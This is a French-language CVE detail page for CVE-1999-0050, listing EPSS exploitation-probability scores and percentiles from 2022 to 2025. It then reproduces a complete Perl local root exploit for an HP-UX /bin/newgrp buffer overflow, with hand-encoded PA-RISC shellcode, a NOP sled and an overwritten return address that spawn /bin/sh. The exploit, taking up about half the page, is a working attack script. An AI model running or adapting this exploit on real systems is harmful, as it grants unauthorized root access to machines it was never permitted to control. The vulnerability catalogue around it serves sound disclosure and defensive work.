CVE-1999-0050 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.96%	–	–
2022-03-13	–	–	1.96%	–	–
2022-04-03	–	–	1.96%	–	–
2022-07-31	–	–	1.96%	–	–
2023-02-26	–	–	1.96%	–	–
2023-03-12	–	–	–	0.09%	–
2023-09-17	–	–	–	0.09%	–
2024-02-11	–	–	–	0.06%	–
2024-03-31	–	–	–	0.06%	–
2024-06-02	–	–	–	0.06%	–
2024-06-02	–	–	–	0.06%	–
2024-06-23	–	–	–	0.06%	–
2024-10-27	–	–	–	0.06%	–
2025-01-26	–	–	–	0.06%	–
2025-01-19	–	–	–	0.06%	–
2025-01-25	–	–	–	0.06%	–
2025-03-18	–	–	–	–	0.34%
2025-04-15	–	–	–	–	0.34%
2025-04-15	–	–	–	–	0.34,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	56%
2022-03-13	57%
2022-04-03	77%
2022-07-31	78%
2023-02-26	79%
2023-03-12	35%
2023-09-17	36%
2024-02-11	23%
2024-03-31	24%
2024-06-02	25%
2024-06-02	25%
2024-06-23	26%
2024-10-27	27%
2025-01-26	28%
2025-01-19	27%
2025-01-25	28%
2025-03-18	54%
2025-04-15	56%
2025-04-15	56%

#source: https://www.securityfocus.com/bid/683/info # #Due to insufficient bounds checking on user supplied arguments, it is possible to overflow an internal buffer and execute arbitrary code as root. #!/usr/bin/perl use FileHandle; sub h2cs { local($stuff)=@_; local($rv); while($stuff !~ /^$/) { $bob=$stuff; $bob =~ s/^(..).*$/$1/; $stuff =~ s/^..//; $rv.=chr(oct("0x${bob}")); } return $rv; } open(PIPE,"uname -r|"); chop($rev=<PIPE>); close(PIPE); $rev =~ s/^.*\.(.*)\..*$/$1/; if ($rev eq "10") { $offset=2074; $prealign=""; $postalign="P"; $pcoq=h2cs("7b03A00C"); } else { $offset=2074; $prealign=""; $postalign="P"; $pcoq=h2cs("7b03300C"); } $nop=h2cs("08210280"); $code=""; # Oddly enough, real uid already == 0 # Could probably make a + + link bug out of this, too.. #$code.=h2cs("34160506"); # LDI 643,r22 #$code.=h2cs("96d60534"); # SUBI 666,r22,r22 #$code.=h2cs("20200801"); # LDIL L%0xc0000004,r1 #$code.=h2cs("e420e008"); # BLE 4(sr7,r1) #$code.=h2cs("0b5a029a"); # XOR arg0,arg0,arg0 $code.=h2cs("e83f1ffd"); # BL .+8,r1 $code.=h2cs("08210280"); # NOP $code.=h2cs("34020102"); # LDI 129,rp $code.=h2cs("08410402"); # SUB r1,rp,rp $code.=h2cs("60400162"); # STB r0,177(rp) $code.=h2cs("b45a0154"); # ADDI 170,rp,arg0 $code.=h2cs("0b390299"); # XOR arg0,arg0,arg0 $code.=h2cs("0b180298"); # XOR arg0,arg0,arg0 $code.=h2cs("341604be"); # LDI 607,r22 $code.=h2cs("20200801"); # LDIL L%0xc0000004,r1 $code.=h2cs("e420e008"); # BLE 4(sr7,r1) $code.=h2cs("96d60534"); # SUB 666,r22,r22 $code.=h2cs("deadcafe"); # Illegal instruction -- dump core if exec fails $data="/bin/sh."; # Data stuff $codedata=$code.$data; $num=int(($offset-length($code)-length($data)-4)/4); $pre="$nop"x$num; $of=$prealign; $of.=$pre.$code.$data.$postalign.$pcoq; exec("/bin/newgrp","$of");